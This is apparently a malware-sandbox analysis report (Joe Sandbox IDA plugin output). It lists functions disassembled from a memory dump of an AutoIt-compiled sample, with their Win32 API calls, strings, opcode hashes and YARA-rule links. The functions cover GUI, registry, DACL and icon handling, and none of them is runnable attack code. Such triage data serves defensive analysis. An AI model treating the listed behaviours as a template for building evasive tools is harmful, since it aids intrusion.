SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0067752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00677554
InflateRect.USER32(?,000000FD,000000FD), ref: 00677572
DrawFocusRect.USER32(?,?), ref: 0067757D
GetSysColor.USER32(00000011), ref: 0067758E
SetTextColor.GDI32(?,00000000), ref: 00677596
DrawTextW.USER32(?,006770F5,000000FF,?,00000000), ref: 006775A8
SelectObject.GDI32(?,?), ref: 006775BF
DeleteObject.GDI32(?), ref: 006775CA
SelectObject.GDI32(?,?), ref: 006775D0
DeleteObject.GDI32(?), ref: 006775D5
SetTextColor.GDI32(?,?), ref: 006775DB
SetBkColor.GDI32(?,?), ref: 006775E5

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 3826eb5efeb454a0a4fe508fc73840d8ebafcc0a01404486518ee8b1751ff4e5
Instruction ID: a1cf8325c3470dd92885f61ff8a68231a3e4ae46ab378eda70a81d03aebfa8bd
Opcode Fuzzy Hash: 3826eb5efeb454a0a4fe508fc73840d8ebafcc0a01404486518ee8b1751ff4e5
Instruction Fuzzy Hash: 4B615272900218AFDF05DFA4DC49AEE7FBAEB09320F115125F919A72A1D7759980CF90

Function 00670FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00671128
GetDesktopWindow.USER32 ref: 0067113D
GetWindowRect.USER32(00000000), ref: 00671144
GetWindowLongW.USER32(?,000000F0), ref: 00671199
DestroyWindow.USER32(?), ref: 006711B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 006711ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0067120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0067121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00671232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00671245
IsWindowVisible.USER32(00000000), ref: 006712A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 006712BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 006712D0
GetWindowRect.USER32(00000000,?), ref: 006712E8
MonitorFromPoint.USER32(?,?,00000002), ref: 0067130E
GetMonitorInfoW.USER32(00000000,?), ref: 00671328
CopyRect.USER32(?,?), ref: 0067133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 006713AA

Strings

tooltips_class32, xrefs: 006711E6
(, xrefs: 0067131B
0, xrefs: 006710D3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 2e1f44a3645fceae145b1b7bb401f6f9e7ef52c7c13557e6ae257f26edd80d09
Instruction ID: 731120b72736d908a7d4f2e0f93afafb10ab34cef937f417b3748a48c6ce936d
Opcode Fuzzy Hash: 2e1f44a3645fceae145b1b7bb401f6f9e7ef52c7c13557e6ae257f26edd80d09
Instruction Fuzzy Hash: D3B19C71608341AFD704DF69C888BAABBE5FF85310F00891EF99D9B261DB31E844CB91

Function 00670241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 006702E5
_wcslen.LIBCMT ref: 0067031F
_wcslen.LIBCMT ref: 00670389
_wcslen.LIBCMT ref: 006703F1
_wcslen.LIBCMT ref: 00670475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 006704C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00670504

Part of subcall function 005FF9F2: _wcslen.LIBCMT ref: 005FF9FD

Part of subcall function 0064223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00642258
Part of subcall function 0064223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0064228A

Strings

GETITEMCOUNT, xrefs: 00670316, 00670337
VIEWCHANGE, xrefs: 00670675
ISSELECTED, xrefs: 006704DD
SELECTCLEAR, xrefs: 0067052D
SELECTINVERT, xrefs: 0067057E
SELECTALL, xrefs: 00670515
GETSUBITEMCOUNT, xrefs: 00670384, 0067039F
GETSELECTED, xrefs: 006705E1
FINDITEM, xrefs: 00670627
SELECT, xrefs: 00670548
GETSELECTEDCOUNT, xrefs: 00670470, 0067048B
DESELECT, xrefs: 0067059C
GETTEXT, xrefs: 006703EC, 00670407

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: d2e1b838f18a6ef374e6025b7404107ebd7ff60cdfa5bdfea6a45d23ed19e1a3
Instruction ID: 551d848feec75b9549de407a2c5d7e73f6da883fb570f8ee19c558ccb790a481
Opcode Fuzzy Hash: d2e1b838f18a6ef374e6025b7404107ebd7ff60cdfa5bdfea6a45d23ed19e1a3
Instruction Fuzzy Hash: 58E17C31208242DFD718EF24C95086AB7E7BFC8714F24855DF89A9B3A5DB30ED468B61

Function 005F8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005F8968
GetSystemMetrics.USER32(00000007), ref: 005F8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005F899B
GetSystemMetrics.USER32(00000008), ref: 005F89A3
GetSystemMetrics.USER32(00000004), ref: 005F89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 005F89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 005F89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 005F8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 005F8A3C
GetClientRect.USER32(00000000,000000FF), ref: 005F8A5A
GetStockObject.GDI32(00000011), ref: 005F8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 005F8A81

Part of subcall function 005F912D: GetCursorPos.USER32(?), ref: 005F9141
Part of subcall function 005F912D: ScreenToClient.USER32(00000000,?), ref: 005F915E
Part of subcall function 005F912D: GetAsyncKeyState.USER32(00000001), ref: 005F9183
Part of subcall function 005F912D: GetAsyncKeyState.USER32(00000002), ref: 005F919D

SetTimer.USER32(00000000,00000000,00000028,005F90FC), ref: 005F8AA8

Strings

AutoIt v3 GUI, xrefs: 005F8A20

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 4a1ad8c5b2ec9ad6df65d6066d8e9ea031d9878c76729c35300591fd38f1bd9b
Instruction ID: 42c103a7a19b9bc7e06032b37f468b94bcc3b2e06ba1f53f4c2fe57dd529b182
Opcode Fuzzy Hash: 4a1ad8c5b2ec9ad6df65d6066d8e9ea031d9878c76729c35300591fd38f1bd9b
Instruction Fuzzy Hash: 24B16F71A00209AFDF14DF68CD59BFE3BB6FB48314F104229FA15AB290DB74A991CB51

Function 00640D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006410F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00641114
Part of subcall function 006410F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 00641120
Part of subcall function 006410F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 0064112F
Part of subcall function 006410F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 00641136
Part of subcall function 006410F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0064114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00640DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00640E29
GetLengthSid.ADVAPI32(?), ref: 00640E40
GetAce.ADVAPI32(?,00000000,?), ref: 00640E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00640E96
GetLengthSid.ADVAPI32(?), ref: 00640EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00640EB5
HeapAlloc.KERNEL32(00000000), ref: 00640EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00640EDD
CopySid.ADVAPI32(00000000), ref: 00640EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00640F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00640F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00640F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00640F6E
HeapFree.KERNEL32(00000000), ref: 00640F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00640F7E
HeapFree.KERNEL32(00000000), ref: 00640F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00640F8E
HeapFree.KERNEL32(00000000), ref: 00640F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00640FA1
HeapFree.KERNEL32(00000000), ref: 00640FA8

Part of subcall function 00641193: GetProcessHeap.KERNEL32(00000008,00640BB1,?,00000000,?,00640BB1,?), ref: 006411A1
Part of subcall function 00641193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00640BB1,?), ref: 006411A8
Part of subcall function 00641193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00640BB1,?), ref: 006411B7

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: c8a1b0aa94a2000a9af0ac98e4505d1033701cf6b012faaa2e6f8eb6b46eea60
Instruction ID: dd6e442af862a141fc539fd9a4e7f15467a3388496e9b737b616e4c1df295b0f
Opcode Fuzzy Hash: c8a1b0aa94a2000a9af0ac98e4505d1033701cf6b012faaa2e6f8eb6b46eea60
Instruction Fuzzy Hash: 0071607190021AEBEF609FA4DC44FEEBBBABF05310F148129FA19E7251D7359945CB60

Function 0066C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0066C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0067CC08,00000000,?,00000000,?,?), ref: 0066C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0066C5A4
_wcslen.LIBCMT ref: 0066C5F4
_wcslen.LIBCMT ref: 0066C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0066C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0066C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0066C84D
RegCloseKey.ADVAPI32(?), ref: 0066C881
RegCloseKey.ADVAPI32(00000000), ref: 0066C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0066C960

Strings

REG_DWORD, xrefs: 0066C804
REG_EXPAND_SZ, xrefs: 0066C5CD
REG_SZ, xrefs: 0066C644
REG_QWORD, xrefs: 0066C8C3
REG_BINARY, xrefs: 0066C913
REG_MULTI_SZ, xrefs: 0066C6F5

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: f1afefc23c30730e2b331dcabfb7bc1c899dfd31a628cae36f1869b99b6e4bd9
Instruction ID: 0863c278310b6a5a09c0086d189f15dfe235af7670f3181dfb966f85e487cf30
Opcode Fuzzy Hash: f1afefc23c30730e2b331dcabfb7bc1c899dfd31a628cae36f1869b99b6e4bd9
Instruction Fuzzy Hash: 881268356046019FC718DF15C885A6ABBE6FF88724F04885DF89A9B3A2DB31EC41CB81

Function 0067091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 006709C6
_wcslen.LIBCMT ref: 00670A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00670A54
_wcslen.LIBCMT ref: 00670A8A
_wcslen.LIBCMT ref: 00670B06
_wcslen.LIBCMT ref: 00670B81

Part of subcall function 005FF9F2: _wcslen.LIBCMT ref: 005FF9FD

Part of subcall function 00642BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00642BFA

Strings

GETSELECTED, xrefs: 00670C4E
COLLAPSE, xrefs: 00670B01, 00670B1C
EXPAND, xrefs: 00670BF8
EXISTS, xrefs: 00670B7C, 00670B97
GETITEMCOUNT, xrefs: 00670C1E
SELECT, xrefs: 00670D11
UNCHECK, xrefs: 00670D3E
GETTOTALCOUNT, xrefs: 006709F2, 00670A17
ISCHECKED, xrefs: 00670CE1
GETTEXT, xrefs: 00670C97
CHECK, xrefs: 00670A85, 00670AA0

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 3c09b90402074e9869ea75e9636767458bd0bdfb8e7815352ba1855046e33e51
Instruction ID: 40ef7f9c0cf14825b07d1ee85209878f8b99111daff4f6d6cb9b73e3073370a6
Opcode Fuzzy Hash: 3c09b90402074e9869ea75e9636767458bd0bdfb8e7815352ba1855046e33e51
Instruction Fuzzy Hash: 3AE1BD35208342DFC714EF25C45096ABBE2BF98714F10895DF89A9B3A2D731ED46CBA1

Function 0066C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0066B6AE,?,?), ref: 0066C9B5
_wcslen.LIBCMT ref: 0066C9F1
_wcslen.LIBCMT ref: 0066CA68
_wcslen.LIBCMT ref: 0066CA9E
_wcslen.LIBCMT ref: 0066CAF9
_wcslen.LIBCMT ref: 0066CB2F
_wcslen.LIBCMT ref: 0066CB7F

Strings

HKEY_USERS, xrefs: 0066CBDF
HKLM, xrefs: 0066CA98, 0066CA9D
HKEY_CURRENT_USER, xrefs: 0066CBBD
HKCR, xrefs: 0066CB29, 0066CB2E
HKEY_LOCAL_MACHINE, xrefs: 0066CA62, 0066CA67
HKU, xrefs: 0066CBF0
HKEY_CURRENT_CONFIG, xrefs: 0066CB79, 0066CB7E
HKEY_CLASSES_ROOT, xrefs: 0066CAF3, 0066CAF8
HKCC, xrefs: 0066CBAC
HKCU, xrefs: 0066CBCE

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: c566f3dbda0c12d27e1cbf018a2e1c68d368fffb9b121efefa9fd8991a34fcd2
Instruction ID: f159f38854242bdef786d67c7600e8c7d2836fb19e7ae2ead13102cce897e510
Opcode Fuzzy Hash: c566f3dbda0c12d27e1cbf018a2e1c68d368fffb9b121efefa9fd8991a34fcd2
Instruction Fuzzy Hash: A171D23260096A8BCB20EEBCCD515FB3793AFA1774B250528F8D697384EA35DD4587A0

Function 0067833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0067835A
_wcslen.LIBCMT ref: 0067836E
_wcslen.LIBCMT ref: 00678391
_wcslen.LIBCMT ref: 006783B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 006783F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00675BF2), ref: 0067844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00678487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 006784CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00678501
FreeLibrary.KERNEL32(?), ref: 0067850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0067851D
DestroyIcon.USER32(?,?,?,?,?,00675BF2), ref: 0067852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00678549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00678555

Strings

.exe, xrefs: 00678388
.dll, xrefs: 006783AB
.icl, xrefs: 00678368

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 6735690d89abc4ff7071ea738f0c71fe98adb32ffafad833ff07599b8c90f230
Instruction ID: 11fe202f5de0cd236dc2512a3deb9059d4e2f922f5fb31645410f8f29a926ec7
Opcode Fuzzy Hash: 6735690d89abc4ff7071ea738f0c71fe98adb32ffafad833ff07599b8c90f230
Instruction Fuzzy Hash: 7561BF71580205BEEB28DF64CC49BFE7BA9BB04721F108509F919D61D1DFB49D90CBA0

Function 005E7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#comments-start, xrefs: 005E785F, 005E78B1
#pragma compile, xrefs: 005E77D3
#ce, xrefs: 005E78ED
#comments-end, xrefs: 005E78D9
Unterminated group of comments, xrefs: 0062528C
#requireadmin, xrefs: 005E77FF
Bad directive syntax error, xrefs: 0062519A
#include-once, xrefs: 005E782F
#OnAutoItStartRegister, xrefs: 005E7817
', xrefs: 00625169
#notrayicon, xrefs: 005E77E7
#cs, xrefs: 005E7873, 005E78C5
", xrefs: 00625153
Cannot parse #include, xrefs: 00625279
#include, xrefs: 005E7847

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 3aa470355ba637ae5fd9f206eccc11c50c8ed9aca1fb0bbe6dedf54f27738678
Instruction ID: bb349177214325b8344ea3d41da9b5a946676e4e3e1a3b166fd8471374e07509
Opcode Fuzzy Hash: 3aa470355ba637ae5fd9f206eccc11c50c8ed9aca1fb0bbe6dedf54f27738678
Instruction Fuzzy Hash: 91811870A44619BBDB28AF21DC46FAF3B6AFF59300F044424F945AB1D2EB70DA51CB91

Function 00653E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00653EF8
_wcslen.LIBCMT ref: 00653F03
_wcslen.LIBCMT ref: 00653F5A
_wcslen.LIBCMT ref: 00653F98
GetDriveTypeW.KERNEL32(?), ref: 00653FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0065401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00654059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00654087

Strings

open , xrefs: 00653FE5
close cd wait, xrefs: 00654072
set cd door , xrefs: 00654028
type cdaudio alias cd wait, xrefs: 00654001
wait, xrefs: 00654044
open, xrefs: 00653F54, 00653F59
close, xrefs: 00653EFE, 00653F18
closed, xrefs: 00653F08, 00653F2D, 00653F46, 00653F7E, 00653F97

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 9e18f9abc367ea9c28c05487f561da7d5dc958784643b22c7312086f23f169cb
Instruction ID: f59db6177d5c91ea4716ba01d79b39ab4ad47bb18144f7f850481f03121490fd
Opcode Fuzzy Hash: 9e18f9abc367ea9c28c05487f561da7d5dc958784643b22c7312086f23f169cb
Instruction Fuzzy Hash: 1B71B0725042129FC314EF24C8808AABBE6FF947A8F14492DF9D697391EB31DD49CB91

Function 00645A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00645A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00645A40
SetWindowTextW.USER32(?,?), ref: 00645A57
GetDlgItem.USER32(?,000003EA), ref: 00645A6C
SetWindowTextW.USER32(00000000,?), ref: 00645A72
GetDlgItem.USER32(?,000003E9), ref: 00645A82
SetWindowTextW.USER32(00000000,?), ref: 00645A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00645AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00645AC3
GetWindowRect.USER32(?,?), ref: 00645ACC
_wcslen.LIBCMT ref: 00645B33
SetWindowTextW.USER32(?,?), ref: 00645B6F
